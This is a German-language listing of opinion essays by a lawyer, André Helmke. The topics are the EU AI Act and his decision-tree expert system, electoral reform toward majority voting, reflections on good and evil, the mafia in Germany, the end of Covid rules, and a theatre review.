Kat. | Thema | Antw. | Erstellt am | Geändert am |
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![]() | EU-Gesetzgebung Künstliche Intelligenz | 0 | 29.12.2024 - 23:12:29 | 29.12.2024 - 23:16:59 |
Am 13. März 2024 hat das Europäische Parlament das weltweit erste Gesetz zur Regulierung von Künstlicher Intelligenz (AI-Act) verabschiedet. Dieses Gesetz sieht die Unterteilung von KI-Systemen in verschiedene Risikogruppen vor und legt fest, unter welchen Bedingungen KI in der EU verwendet werden darf. Juristische Inhalte dürften demnach grundsätzlich als hochriskant eingestuft werden, weil sie direkt die Grundrechte der Menschen betreffen können, wie das Recht auf ein faires Verfahren, Datenschutz und andere fundamentale Rechte. Künstliche Intelligenz, die in juristischen Kontexten eingesetzt wird, wie zum Beispiel bei der automatischen Entscheidungshilfe in Gerichtsverfahren oder bei der Erstellung von rechtlichen Dokumenten, kann erhebliche Auswirkungen auf das Leben der Menschen haben. Der AI Act berücksichtigt meines Erachtens diese potenziellen Risiken und sieht vor, dass solche Systeme strengen Anforderungen unterliegen, um sicherzustellen, dass sie verlässlich, transparent und sicher sind. Diese Anforderungen sollen verhindern, dass Fehler oder Intransparenz in den Algorithmen zu ungerechten oder diskriminierenden Ergebnissen führen. Das ist besonders wichtig, da Entscheidungen, die im juristischen Bereich getroffen werden, oft schwerwiegende Konsequenzen für die betroffenen Personen haben können. Deshalb sollten solche Anwendungen besonders überwacht und reguliert werden. Würde eine Maschine über das Anliegen entscheiden, würde der Rechtsuchende zum Objekt degradiert, was meiner Ansicht nach eine eklatante Verletzung der Menschenwürde darstellen würde. Mein Experten-System-Shell-Projekt (ESSP) ist daher darauf ausgelegt, diesen strengen Vorgaben zu entsprechen und sicherzustellen, dass alle Hauptkomponenten (Softwaretools) im Einklang mit den Grundrechten, der Sicherheit und den ethischen Grundsätzen stehen. Durch die Implementierung von Funktionen zur Risikominderung, Protokollierung von Aktivitäten und menschlicher Aufsicht wird sichergestellt, dass ESSP sowohl verlässlich als auch sicher genutzt werden kann. Seit den 1980er Jahren beschäftige ich mich mit der Künstlichen Intelligenz (KI). Damals entschied ich mich für die Entwicklung eines Expertensystems in Form von Entscheidungsbäumen und Anfang der 1990er Jahre nach einer intensiven Befassung bewusst gegen den Einsatz neuronaler Netze. Entscheidungsbäume sind digitale Flussdiagramme, die Daten durch eine Abfolge von Ja-Nein-Fragen strukturieren und aufteilen. Diese Methode ermöglicht es Computern, mithilfe von maschinellem Lernen Aufgaben zu lösen (vgl. Inga Strümke, Künstliche Intelligenz, 1. Aufl. 2024, Seite 68). Ein großer Vorteil von Entscheidungsbäumen liegt in ihrer Intuitivität und Nachvollziehbarkeit. Für uns Menschen ist es einfach, die Struktur eines Entscheidungsbaumes zu verstehen und den Lösungsweg des Computers nachzuvollziehen (vgl. Inga Strümke, Künstliche Intelligenz, 1. Aufl. 2024, Seite 69). Es ist leicht, die Entscheidungswege zu analysieren und zu interpretieren. Und zwar gerade deshalb, weil wir Menschen genau bestimmen, welchen Regeln Expertensysteme folgen sollen, werden sie nicht auf eigene Faust neue Regeln erfinden (vgl. Inga Strümke a. a. O., Seite 54). Im Gegensatz dazu sind neuronale Netze weit weniger bis gar nicht transparent. Die Daten werden in einem komplexen Geflecht von Neuronen und Schichten verarbeitet, wobei zahlreiche Multiplikationen und mathematische Operationen zum Einsatz kommen (vgl. Inga Strümke, Künstliche Intelligenz, 1. Aufl. 2024, Seite 80). Dies macht es schwierig, die inneren Entscheidungsprozesse nachzuvollziehen. Ich möchte in dieser Einschätzung sogar noch einen Schritt weiter gehen: Da eine direkte Einsicht in neuronale Netze nicht möglich ist, dürfte der Einsatz neuronaler Netze - insbesondere wegen deren Intransparenz - nach den Vorgaben des AI Act im Bereich der automatischen juristischen Entscheidungshilfe rechtlich unzulässig sein. Einzelheiten zu ESSP entnehmen Sie doch bitte den weiteren Ausführungen auf meiner Website dazu. Hier geht's zum ESSP [Autor: Dr. jur. André Helmke] |
![]() | Zeit für ein Mehrheitswahlrecht | 0 | 26.05.2024 - 11:54:32 | 02.06.2024 - 08:48:00 |
Am 23. Mai 2024 feierte das Grundgesetz der Bundesrepublik Deutschland sein 75-jähriges Bestehen – ein stolzes Jubiläum für die Verfassung unserer Rebublik. Doch auch das Beste kann noch besser werden. Es ist ein passender Moment, um über die Weiterentwicklung unserer Demokratie nachzudenken. In diesem Sinne plädiere ich für eine Wahlrechtsreform hin zum reinen Mehrheitswahlrecht. 1. Was ist ein reines Mehrheitswahlrecht? Das reine Mehrheitswahlrecht, auch Persönlichkeitswahl genannt, ist ein Wahlsystem, bei dem die Wähler direkt einzelne Kandidaten wählen. Die Persönlichkeit der Kandidaten entscheidet über den Wahlausgang (vgl. https://de.wikipedia.org/wiki/Mehrheitswahl). Es ist das Gegenstück zur Listenwahl und zielt darauf ab, eine direkte Verbindung zwischen Wählern und Gewählten zu schaffen. 2. Vorteile des Mehrheitswahlrechts a) Direkte Wahl: Die Wähler entscheiden unmittelbar über ihren Abgeordneten, was die Verantwortlichkeit und Bürgernähe stärkt. b) Klare Machtverhältnisse: Es entstehen eindeutige Mehrheiten, die eine stabile Regierungsbildung ermöglichen. Das Mehrheitswahlrecht tendiert zwar zu einem Zweiparteiensystem (vgl. dazu wikipedia.org a. a. O.). Die Praxis mancher Länder zeigt aber, dass dies nicht der Fall sein muss. In Frankreich gab es nie annähernd ein Zweiparteiensystem. In Indien gibt es kein Zweiparteiensystem. Kanada, Pakistan und einige afrikanische Staaten (z. B. Kenia) haben ebenfalls trotz Mehrheitswahl kein Zweiparteiensystem (vgl. wikipedia.org a. a. O.). c) Starke Handlungsfähigkeit: Aufgrund der klaren Machtverhältnisse kann die Regierung effektiv und zügig handeln, ohne auf die Zustimmung von unterschiedlichen Koalitionspartnern angewiesen zu sein. d) Stabilität: Regierungskrisen durch koalitionsinterne Streitigkeiten werden minimiert. e) Verantwortlichkeit: Die Abgeordneten sind direkt ihren Wählern gegenüber verantwortlich, nicht einer Partei. f) Überhangmandate: Bei einer Mehrheitswahl würden keine Überhangmandate entstehen. Die jüngste Wahlrechtsänderung im Jahre 2023, womit künftig womöglich nicht alle Direktkandidaten in das Parlament einziehen, halte ich angesichts der hohen Bedeutung des Persönlichkeitswahlrechts für äußerst bedenklich. Bereits aus der systematischen Stellung der Art. 20 Abs. 2 Satz 1 GG und Art. 21 GG zueinander ist erkennbar, dass primär alle Staatsgewalt vom Volke ausgeht. Die Parteien wirken bei der politischen Willensbildung des Volkes (lediglich) mit. ![]() g) Einfluss des Mehrheitswahlrechts auf Extremisten: Ein weiterer Vorteil des Mehrheitswahlrechts ist, dass es die Chancen von Extremisten, ins Parlament gewählt zu werden, verringert. Da im Mehrheitswahlrecht nur derjenige Kandidat im Wahlkreis gewählt wird, der die meisten Stimmen erhält, haben Extremisten es schwerer, die notwendige Mehrheit für ein Mandat zu erreichen. Dies trägt dazu bei, dass Extremisten weniger repräsentiert sind und somit das politische Spektrum im Parlament moderater bleibt. 3. Nachteile des Mehrheitswahlrechts a) Wählerstimmen: Stimmen für unterlegene Kandidaten gehen verloren, was zu einer Diskrepanz zwischen Wählervotum und Mandatszuteilung führen kann. b) Minderheitenrepräsentation: Kleinere Parteien und Minderheiten könnten benachteiligt werden, da ihre Stimmen nicht proportional im Parlament vertreten sind. 4. Fazit Die Einführung eines reinen Mehrheitswahlrechts würde das politische System Deutschlands grundlegend verändern und eine frische Brise in das politische System Deutschlands bringen. Es würde die herrschenden Parteien herausfordern und den politischen Diskurs beleben. Es bietet Chancen für mehr Transparenz, direkte Demokratie und mehr Vertrauen in die Politik. Selbstverständlich birgt es auch Risiken für die Vielfalt der politischen Landschaft. Nach einer sorgfältigen Abwägung halte ich aber die Einführung eines reinen Mehrheitswahlrechts - auch in der Europäischen Union - für unerlässlich. ![]() https://www.andre-helmke.de [Autor: Dr. jur. André Helmke] |
![]() | Guter Mensch vs. böser Mensch 2.0 | 0 | 01.08.2022 - 20:46:35 | 09.10.2023 - 19:43:12 |
"Ich bitte demütig um Vergebung für das Böse, das von so vielen Christen an den indigenen Bevölkerungen begangen wurde", sagte das katholische Kirchenoberhaupt Papst Franziskus am 25.07.2022 vor Überlebenden früherer Residential Schools auf dem Gelände einer der größten dieser Internatsschulen in Maskwacis/Alberta (vgl. dazu den Bericht auf www.domradio.de vom 28.07.2022). Bemerkenswert ist für mich, dass der Papst die Gräueltaten an den Kindern indigener Völker in den staatlich errichteten und von Kirchen betriebenen Internaten als "das Böse" bezeichnet hat. Die Kinder sollten mit den Misshandlungen an die Kultur der europäischen Einwanderer angepasst werden. Einfach nur schrecklich, was in den Köpfen dieser bösen Menschen vorgegangen ist. Dies zeigt wieder einmal, wie ubiquitär doch das Böse ist. Auch in der jüngeren Vergangenheit hat es eine Vielzahl abscheulicher Ereignisse gegeben. Sechseinhalb Jahre nach den islamistischen Terroranschlägen mit 130 Toten in Paris von 2015 hat ein Schwurgericht in Frankreich den Hauptangeklagten am 29.06.2022 zu lebenslanger Haft verurteilt (vgl. dazu den Bericht in der Nordsee-Zeitung vom 30.06.2022, Seite 4). Am 03.07.2022 sind in einem Einkaufszentrum in Kopenhagen Schüsse gefallen: mehrere Menschen sind getötet und verletzt worden (vgl. dazu den Bericht auf www.infranken.de vom 04.07.2022). Erst etwa eine Woche davor waren in einer bei Homosexuellen beliebten Bar in Oslo zwei Menschen getötet und 21 weitere verletzt worden (siehe dazu den Bericht auf www.tagesschau.de vom 25.06.2022). Dann der tödliche Mordanschlag auf den früheren japanischen Ministerpräsendenten Shinzo Abo am 08.07.2022, der weltweites Entsetzen ausgelöst hat (vgl. dazu den Bericht in der Nordsee-Zeitung vom 09.07.2022, Seite 4). Gerade nach so vielen abscheulichen Ereignissen habe ich mir wieder die Frage gestellt, was eigentlich der Sinn des Lebens ist? In der ersten Version zu diesem Thema hatte ich bereits vor vielen Jahren eine weitere Antwort auf diese Frage veröffentlicht. Aus gegebenem Anlass möchte ich diese Antwort an dieser Stelle noch einmal wiederholen und näher konkretisieren. Eigentlich bin ich nicht wirklich gläubig. Aber ich glaube fest daran, dass ein weiterer Sinn dieses Lebens eine Prüfung ist. Der Mensch wird in dem Leben, so wie wir es kennen, geprüft, ob er für die nächst höhere Stufe geeignet ist oder nicht. Auf der obersten Stufe befindet sich nach meinen Vorstellungen als höchste Belohnung schließlich das Paradies. Die Glaubensfreiheit ergibt sich aus Art. 4 des Grundgesetzes (GG). Gemäß Art. 4 Abs. 1 GG ist die Freiheit des Glaubens unverletzlich. Art. 4 Abs. 2 GG gewährleistet die ungestörte Religionsausübung. Art. 4 Abs. 1 und Abs. 2 GG werden als einheitlicher Bereich gefasst und schützen die Freiheit, Glauben und Gewissen, Religion und Weltanschauung zu bilden, zu haben, zu äußern und demgemäß zu handeln (Pieroth/Schlink, Grundrechte II, 10. Aufl. 1994, Seite 139, Rdnr. 560). Demnach stellt selbstverständlich auch der Islam eine Religion im Sinne des Art. 4 Abs. 1 und Abs. 2 GG dar und wird von seinem Schutzbereich umfasst. Zum Schutzbereich gehört aber auch die Freiheit, nicht zu glauben, einen Glauben oder eine Weltanschauung nicht zu bekennen, d. h. zu verschweigen, sowie glaubensgeleitete Handlungen zu unterlassen (siehe nur BVerfGE 65, 1, 39). Die Entscheidung für oder gegen einen Glauben ist danach Sache des Einzelnen, nicht des Staates. Der Staat darf ihm einen Glauben oder eine Religion weder vorschreiben noch verbieten (BVerfGE 93, 1, 15 mit weiteren Ausführungen). Zwar wird die Glaubensfreiheit vorbehaltlos gewährleistet. Dies bedeutet jedoch nicht, dass sie verfassungsrechtlich keinerlei Schranken unterliegt. Mit Rücksicht auf die Einheit der Verfassung und die von ihr geschützte Werteordnung sind kollidierende Grundrechte Dritter und andere mit Verfassungsrang ausgestattete Rechtswerte ausnahmsweise imstande, vorbehaltlos gewährte Grundrechte zu begrenzen (siehe nur BVerfGE 28, 243, 260 f.; BVerfGE 32, 98, 107). Ein deutlich kollidierendes Grundrecht stellt in erster Linie Art. 2 Abs. 2 Satz 1 GG dar, wonach aus dem Recht auf Leben das Recht zu leben abgeleitet wird. Darüber hinaus müssen sich beispielsweise aber auch religiöse Gebräuche im Rahmen gewisser übereinstimmender sittlicher Grundanschauungen der heutigen Kulturvölker halten (so BVerfGE 24, 236, 246). Für mich ist nach alledem die Sonne mein Gott oder sollte ich besser schreiben "meine Göttin". Ohne sie würde hier auf der Erde gar kein Leben möglich sein. Es dürfte meines Erachtens auch nicht entscheidend sein, wer der "richtige" Gott ist. Einigkeit besteht doch bestimmt darin, dass Gott das Leben erschuf. Dann kann es doch denklogisch nicht richtig sein, dass Menschen anderen Menschen Leid zufügen oder gar andere Menschen töten. Denn Gott hat das Böse in der Welt nicht gewollt und nicht geschafft. Im Neuen Testament erscheint das Böse als eine vom Menschen ausgehende, ihn im Denken und Handeln leitende "Macht“. Deshalb wird sie auch als eine Einstellung und Haltung definiert, die ganz der Verantwortung des Menschen unterliegt (Praktisches Bibel-Lexikon, Hrsg. von A. Grabner-Heider, Marix-Verlag, Wiesbaden 2005; zitiert nach: Volker Faust, DAS BÖSE AUS PSYCHIATRISCHER SICHT, 2008, Seite 8). Damit steht fest, dass der Mensch sowohl das Gute als auch das Böse in sich hat. Es leuchtet ein, dass es für die menschliche Gesellschaft sinnvoller ist, friedlich miteinander umzugehen. Richtig ist allerdings auch, dass Aggression als eine Variante des Bösen bereits in den ersten Lebewesen verankert war, die die Erde bevölkerten. Kein anderes Geschöpf fügt einem Artgenossen derartiges Leid zu wie der Mensch, z. B. um sich zu rächen, um die eigenen Triebe zu befriedigen oder um ganz einfach Macht über den anderen auszuüben (vgl. dazu den Bericht auf www.planet-wissen.de vom 31.03.2020). Missmut und Missgunst dürften daher für Kriegstreiber und Imperalisten ein entscheidender Antriebsmotor sein. Jeder kennt sie, die rücksichtslosen und niederträchtigen Menschen, die sich auf Kosten anderer bereichern, über Leichen gehen und keinerlei Schuldgefühle oder Gewissensbisse zeigen. Während Psychologen diese dunklen Eigenschaften bislang weitgehend isoliert voneinander betrachtet haben, zeigt eine Studie aus Ulm, Landau und Kopenhagen, dass diese Merkmale den gleichen Ursprung haben. Gemeinsamer Nenner ist der dunkle Kern der Persönlichkeit, den Morten Moshagen von der Universität Ulm und seine Kollegen den D-Faktor (für "dark factor“) nennen (vgl. dazu den Bericht auf www.faz.net vom 05.11.2018). Die Autoren dieser Studie halten einen übertriebenen Egoismus für das zentrale Element des D-Faktors. Sie definieren diesen dunklen Kern als Bestreben, den eigenen Nutzen um jeden Preis zu maximieren, ohne Rücksicht auf die Rechte und Bedürfnisse der anderen oder der Gesellschaft. Dabei nehmen Menschen mit einem starken D-Faktor in Kauf, dass andere zu Schaden kommen, oder erfreuen sich sogar daran, anderen bewusst zu schaden. Hieraus wird deutlich, dass das Böse furchtbare Schuld auf sich geladen hat. Dennoch glaube ich weiterhin an Gerechtigkeit und möchte in diesem Zusammenhang auf folgendes Zitat verweisen: "Gott ist höchst gerecht; er belohnt das Gute und bestraft das Böse. Auf gute Handlungen folgt Gutes, auf böse aber Böses." (Christkatholisches Hausbuch, gesammelt von einem Weltpriester, 3. Auflage, Wien 1823, Seite 304) Soweit ich mich erinnern kann, prägt der Kontext dieses Zitates meine Lebensphilosophie. Denn anders ausgedrück bedeutet dies für mich: gute Menschen kommen in den Himmel und böse Menschen kommen in die Hölle. Dabei belohnt und bestraft Gott die Menschen nach meinen Vorstellungen teilweise schon auf Erden, vollkommen aber erst nach dem Tode. Die Hölle stelle ich mir als eine Art Gefängnis vor, in dem es um die Bestrafung einiger Seelen für besonders schlechte Taten auf der Erde geht. Dort sollen sie durch das Leid vom Satan, den Teufel, an sich selbst erfahren, dass es nicht gut ist, anderen Wesen Leid zuzufügen. Da ich bekanntlich ein geduldiger Mensch bin, vertraue ich meiner Philosophie, wonach böse Menschen früher oder später ihre gerechte Strafe bekommen werden. ![]() Ansonsten würden die Bemühungen all der guten Menschen auf diesem Planeten umsonst sein. Dass es sich aber lohnt, ein guter Mensch zu sein, bestätigen mir die Gesichtsausdrücke von Toten, die ich in der Vergangenheit gesehen habe. Manche hatten einen neutralen, manche einen schockierten und manche einen glücklichen Gesichtsausdruck. Die letzte Leiche, die ich sah, hatte sogar ein Lächeln im Gesicht. Diesen Menschen kannte ich sehr gut und ich bin mir sicher, dass er ein guter Mensch war! In meinem gesamten Leben war ich stets darum bemüht, ein guter Mensch zu sein. Dies wird sich auch in der Zukunft nicht ändern. Deshalb habe ich keine Angst vor dem Tod. Wer auch immer der richtige Gott sein mag, er wird nach meiner Überzeugung dafür sorgen, dass böse Menschen spätestens nach dem Tode die gerechte Strafe bekommen werden. Das gilt nicht nur für die (alt-) vorderen Bösen. Dies gilt auch für die vielen Handlanger des Bösen, ohne die die Bösen sich kaum hinter ihren Masken hätten verstecken können (siehe exemplarisch den Bericht auf www.dw.com am 28.06.2022 über die Verurteilung des früheren Wachmannes des Konzentrationslagers Sachsenhausen wegen Beihilfe zum Mord in mehr als 3500 Fällen). Schließlich möchte ich noch auf ein wertvolles Zitat verweisen, welches ich bereits an den Anfang meines autobiografischen Romans in der Version 1.0 aufgenommen habe. Weil es so zutreffend ist, möchte ich es an dieser Stelle noch einmal wiederholen: "Die Welt wird nicht bedroht von den Menschen, die böse sind, sondern von denen, die das Böse zulassen." Albert Einstein https://www.andre-helmke.de ![]() [Autor: Dr. jur. André Helmke] |
![]() | Allein gegen die Mafia | 1 | 01.09.2017 - 13:45:46 | 03.10.2023 - 13:48:11 |
Mit diesem Beitrag möchte ich eine sehr interessante Schriftstellerin und Journalistin empfehlen. Es handelt sich dabei um Petra Reski, die vielfach für ihre Texte und Bücher ausgezeichnet worden ist und als Mafia-Expertin bewundert wird. In der FAZ vom 12.12.2015, Seite 20, wurde unter der Überschrift "Allein gegen die Mafia" beschrieben, wie Frau Reski von der Mafia massiv unter Druck gesetzt wird, damit sie von ihren Recherchen ablässt. Sie erklärt, wie Journalisten verleumdet, verklagt und auch bedroht werden, wenn sie über die Mafia in Deutschland berichten. "Zumal, wer so leichtsinnig ist, sich in die Grauzone zwischen Mafia und Politik zu begeben. Wer der 'Ehrenwerten Gesellschaft' zu nahe kommt, riskiert etwas." (so Reski, FAZ a.a.O.). Weil es ihr zu gefährlich wurde, kämpft sie jetzt mit den Waffen der Literatur. ![]() Einer größeren Öffentlichkeit wurde sie 2008 durch ihr Anti-Mafia-Buch "Mafia. Von Paten, Pizzerien und falschen Priestern" bekannt. 2010 erschien ihr Buch "Von Kamen nach Corleone". Darin enthüllte sie, wie gut sich die Mafia seit 40 Jahren in Deutschland eingerichtet hat und wie die Politik diese Tatsache ignoriert. 2014 hat Reski erstmals einen Roman zum Thema Mafia verfasst: "Palermo Connection". 2015 erschien ihr Roman "Die Gesichter der Toten" und am 12.07.2017 ihr neuester Roman "Bei aller Liebe". In ihren Romanen umschreibt die Autorin sehr spannende Netzwerke aus Politikern, Unternehmern und Mafiosi, die voneinander profitieren. Es geht um Drogenhandel, Gastronomie, Schutzgelderpressung, Korruptionsskandale und um die Ökoindustrie (u. a. Windenergie), wo die öffentlichen Gelder nur so sprudeln. Hinzu kommen die Giftmüllbeseitigung und der Immobilienhandel. Öffentliche Gelder in ihre Taschen umzuleiten, ist nach Reski die Königsdisziplin der Mafia: Da haben sich mit der öffentlichen Auftragsvergabe, den europäischen Fördergeldern und dem gemeinsamen europäischen Markt viele neue Perspektiven ergeben: Eine Stadt oder den Staat zur Beute zu machen. Dabei geht es in den Romanen von Frau Reski nicht nur um die italienischen Mafia-Gruppen, also die 'Ndrangheta aus Kalabrien, die sizilianische Cosa Nostra und die Camorra aus Kampanien, die die ältesten Organisationen der organisierten Kriminalität sind. Es geht auch um die Mafia in Deutschland. Die Mafiosi wissen genau, dass es am besten ist, nicht aufzufallen. "Die Mafia fokussiert sich aufs Unsichtbare" (so auch David Ellero von Europol, FAZ vom 12.08.2017, Seite 7). Sie sind bestens integriert: Das beginnt nach Reski mit den richtigen Geschäftspartner ihres Gewerbes und endet bei ihren Steuerberatern und Anwälten. Und selbstverständlich pflegen sie beste Kontakte zu Unternehmern, Beamten und Politikern auf allen Ebenen. "Die Kriminellen infiltrieren die legale Wirtschaft und über ihre Unternehmen dann die Politik" (so David Ellero a.a.O.). Meines Erachtens werden in diese Netzwerke aber auch Journalisten und Psychologen einbezogen. Journalisten braucht die Mafia, um ihre Leute in der Öffentlichkeit als smarte und freundliche Persönlichkeiten zu inszenieren. Psychologen werden zur Vorbereitung von Psychoterror konsultiert. Richtig problematisch wird es, wenn sich die Mafia bereits in öffentliche Institutionen (z. B. über das Postengeschachere) eingenistet oder Beamte für sich (z. B. über die Korruption) rekrutiert haben sollte! ![]() Beispielsweise der Beamte im gehobenen Dienst, der sich nach und nach mehrere Immobilien kauft und sich sogar eine Yacht leisten kann, muss doch jeden Kollegen nachdenklich machen. Auf vorsichtige Nachfrage gibt er zwar überall an, die Häuser und das viele Geld von seinen Eltern geerbt zu haben. Aber stimmt das? Würde man sich die Zeit für eine Recherche nehmen, käme vermutlich heraus, dass die Eltern zuvor im Pflegeheim gelebt haben, und das Sozialamt ergänzend die Pflegekosten übernommen hatte. In diesem Falle wären weitergehende Ermittlungen gegen diesen Beamten erforderlich. Mit einer Observation bekäme man beispielsweise heraus, dass dieser Beamte vertrauliche Informationen seiner Behörde an die Mafia verkauft. In der Praxis ist es aber schwierig zu beweisen, dass das Geld aus illegalen Geschäften stammt. Ähnlich ist es mit der Geldwäsche von Drogengeldern. Einnahmen aus dem Drogenhandel können überall dort gut gewaschen werden, wo viel mit Bargeld bezahlt wird. Das sind Gaststätten, Restaurants, Bekleidungsgeschäfte, Eiscafés u. Ä. Eigentlich müsste es doch den Menschen und erst recht den Ermittlern auffallen, wenn ein Gastronom kaum Gäste hat, nach und nach aber ganze Straßenzüge aufkauft und einen teuren Sportwagen fährt. Geldwäsche ist in Deutschland deswegen so einfach, weil nicht der Gastronom bzw. der korrupte Beamte beweisen muss, dass das Geld sauber ist, sondern die Ermittlungsbehörden müssen nachweisen, dass das Geld aus unsauberen Quellen stammt. Italien hat dagegen schon viel fortschrittlichere Gesetze im Anti-Mafia-Kampf entwickelt. So ist zum Beispiel die Zugehörigkeit zu einer mafiösen Organisation an sich schon eine Straftat. Vermögen und Eigentum von Mafiamitgliedern kann beschlagnahmt werden, auch wenn es keinen Strafprozess und kein Urteil gibt. Im Rest von Europa ist das nicht möglich (siehe dazu David Ellero a.a.O.). Die Deutschen machen sich keine Vorstellungen davon, welchen Einfluss die Mafia bereits in ihrem Lande hat. Man darf auch nicht unterschätzen, wie gefährlich diese Leute sind. Das Bild, das die meisten Menschen von der Mafia haben, ist nach Reski völlig überholt: Den dicken Mafioso, der mit Zigarre neben dem Tomatenstrauch in der Sonne sitzt, den gibt es nicht mehr. Das sind heute smarte Geschäftsleute mit Doktortitel und Verbindungen in die ganze Welt (so Reski). Die Mafia in Deutschland wählt zudem andere Waffen als in Sizilien. Sie fängt mit Scharmützeln an, indem beispielsweise ihre Opfer zunächst diffamiert und bedroht werden. Reicht dies nicht, werden ihre Feinde mit dem Werkzeug der Angst bekämpft. Angst zu erzeugen ist, wie in jedem totalitären System, das größte Kapital der Mafia. Es reichen manchmal bereits Sätze wie "Du willst doch bestimmt deinen Job behalten, oder?" bzw. "Wir wissen, wo Ihre Kinder zur Schule gehen". Parallel dazu werden ihre Widersacher gestalkt. Dies geschieht relativ auffällig, um zu zeigen, wie mächtig sie sind. Für die Informationsgewinnung und zur Vorbereitung eines Schlachtplans werden die Gegner sehr gründlich ausbaldowert. Dabei helfen viele Augen und Ohren, die weitertragen, was sie spionieren. Ganz individuell schlägt die "Neue Mafia" dann zu. Dabei werden auch viele innovative Fallen gestellt: z. B. kriminelles Handeln über eine Fake-Accounteinrichtung (Identitätsdiebstahl), Beweismanipulationen (Unterschieben von kinderpornografischem Material über computer hacking), u. Ä. Die "Neue Mafia" weiß ganz genau: Den Gestank des "faulen Herings" wird der Verleumdete nicht wieder los. Diese mediale Kampftechnik stammt aus einem Handbuch eines KGB-Obersten (siehe dazu FAZ vom 27.02.2017, Seite 9). Ein klassisches Verfahren darin heißt "fauler Hering". Dabei hängt man jemandem eine falsche Beschuldigung an. Es muss eine möglichst abstoßende Tat sein, Mord aus Habsucht oder Kinderschändung eignen sich besonders. Beim "faulen Hering" kommt es nicht darauf an, den Vorwurf zu beweisen, vielmehr soll gerade seine Unhaltbarkeit möglichst ausführlich in der Öffentlichkeit kommentiert und durchgekaut werden. Die menschliche Psyche sei nämlich so beschaffen, wussten schon die sowjetischen Strategen des Informationskriegs, dass jede öffentliche Behauptung sogleich Fürsprecher und Gegner auf den Plan rufe, deren fortgesetzte Debatte dafür sorgt, dass der Name des Beschuldigten automatisch mit den falschen Vorwürfen assoziiert werde, deren "Geruch" sich gleichsam in seiner Kleidung festsetze und ihn überallhin verfolge (FAZ vom 27.02.2017, Seite 9). Reicht selbst dies nicht, um ihre Widersacher einzuschüchtern, werden Giftanschläge verübt! Es müsste einen politischen Willen zur Bekämpfung der Mafia insgesamt, also aller Mafiagruppierungen, in Deutschland geben. Stattdessen wird aber immer wieder versucht, das Problem nach dem Motto "Pecunia non olet" (Geld stinkt nicht) zu verharmlosen. Leider gibt es zudem auch Verantwortliche in der Politik und in den Institutionen, die ganz gezielt Ermittlungstätigkeiten verhindern oder zumindest behindern. Engagierte Richter, Staatsanwälte und Polizeibeamte werden gedrosselt, damit nicht zu viele Straftaten in der Statistik auftauchen (ähnlich Roth/Nübel/Fromm, Anklage unerwünscht!, 2007, Seite 284) . Dadurch wird das Leistungsprinzip mit Füßen getreten, und widersetzt sich ein Ermittler diesen Machenschaften der Macht, wird er bis aufs Schärfste gemobbt (so auch Roth/Nübel/Fromm a.a.O.). Im Vorfeld wird versucht, wesentliche Schlüsselpositionen lieber gleich mit tendenziell leistungsschwachen Persönlichkeiten zu besetzen (indirekt wohl auch Roth/Nübel/Fromm a.a.O., Seite 15). Die Mafia entwickelt sich immer weiter. Sehr nachdenklich macht mich, dass sich anscheinend die meisten Menschen überhaupt nicht für diese Problematik interessieren. Dabei verkennen sie die große Gefahr, die mit diesen kriminellen Machenschaften stetig zunimmt: Unser demokratisches System wird untergraben und so der Weg in eine Diktatur freigemacht! ![]() https://www.andre-helmke.de ![]() [Autor: RA Dr. André Helmke] |
![]() | Corona-Schutzmaßnahmen entfallen | 0 | 01.05.2023 - 14:13:41 | 01.05.2023 - 14:13:41 |
Am 07.04.2023 ist der rechtliche Rahmen für die Corona-Schutzmaßnahmen ausgelaufen. Das heißt, dass die letzten noch verbliebenen Maßnahmen – wie das Tragen einer FFP2-Maske beim Besuch eines Krankenhauses oder Pflegeheimes – weggefallen sind (siehe § 28b Infektionsschutzgesetz – IfSG). Seit dem 08.04.2023 entfällt mithin der Rechtsrahmen für die Corona-Schutzmaßnahmen und es gilt wieder das Prinzip der Eigenverantwortung. ![]() Das Hausrecht der betroffenen medizinischen und pflegerischen Einrichtungen bleibt hiervon aber unberührt. Die Einrichtungen können nach den Begebenheiten vor Ort entscheiden, welche Schutzmaßnahmen insbesondere für die vulnerablen Gruppen notwendig sind. Zudem bleibt es jeder und jedem unbenommen, weiterhin freiwillig in den Arztpraxen, Krankenhäusern und Pflegeeinrichtungen eine Maske zu tragen. Dies gilt selbstverständlich auch für das Maskentragen im Übrigen, beispielsweise beim Einkaufen. ![]() Siehe dazu auch unter: https://www.bundesregierung.de [Autor: Dr. jur. André Helmke] |
![]() | Der Graf von Monte Christo | 0 | 05.10.2019 - 09:24:10 | 22.05.2022 - 19:46:12 |
Am 21. September 2019 habe ich mir die Premiere von "Der Graf von Monte Christo" im Stadttheater Bremerhaven angesehen und ich bin begeistert! ![]() Zwischen 1844 und 1846 veröffentlichte Alexandre Dumas den Graf von Monte Christo als Fortsetzungsroman. Der junge Seemann Edmond Dantès wird am Tag seiner Hochzeit mit der schönen Katalanin Mercédès zu Unrecht denunziert, ein bonapartistischer Agent zu sein. Noch vor der Eheschließung wird Dantès verhaftet. Erst nach 14 Jahren Kerkerhaft auf einer Festungsinsel vor der Küste von Marseille gelingt ihm die Flucht. Bei einem Zwischenstopp auf der Insel Montecristo findet Dantès einen Schatz in einer unterirdischen Grotte und kehrt so als reicher Mann nach Frankreich zurück. Dort stellt er als Graf von Monte Christo solange Nachforschungen an über seine einstigen Freunde und über diejenigen, denen er Rache geschworen hat, bis die Wahrheit über die Umstände ans Licht kommen. Die Protagonisten, die Musik, die Inszenierung, aber auch die Bühnenbilder haben mir sehr gut gefallen: den Marinehafen, den Ballsaal und die unterirdische Grotte waren gut erkennbar und zudem stimmungsvoll eingerichtet. Zu Recht ist daher die Premiere im Stadttheater Bremerhaven mit Standing Ovations gefeiert worden! ![]() Leider verging die Zeit so schnell, so dass ich mir dieses Musiktheaterstück wohl ein weiteres Mal werde ansehen müssen ... ![]() Der Kontext dieses Stücks ist gar nicht so weit von der Gegenwart entfernt, wie ich meine. Gleich nach der Vorstellung habe ich mich daher gefragt, ob es sich bei dieser Geschichte von Alexandre Dumas womöglich sogar um einen autobiografischen Roman handelt ... ![]() https://www.andre-helmke.de/autobiografischerroman.htm [Autor: Dr. jur. André Helmke] |
![]() | Ausgangs- und Kontaktbeschränkungen | 0 | 30.11.2021 - 15:29:48 | 30.11.2021 - 15:34:42 |
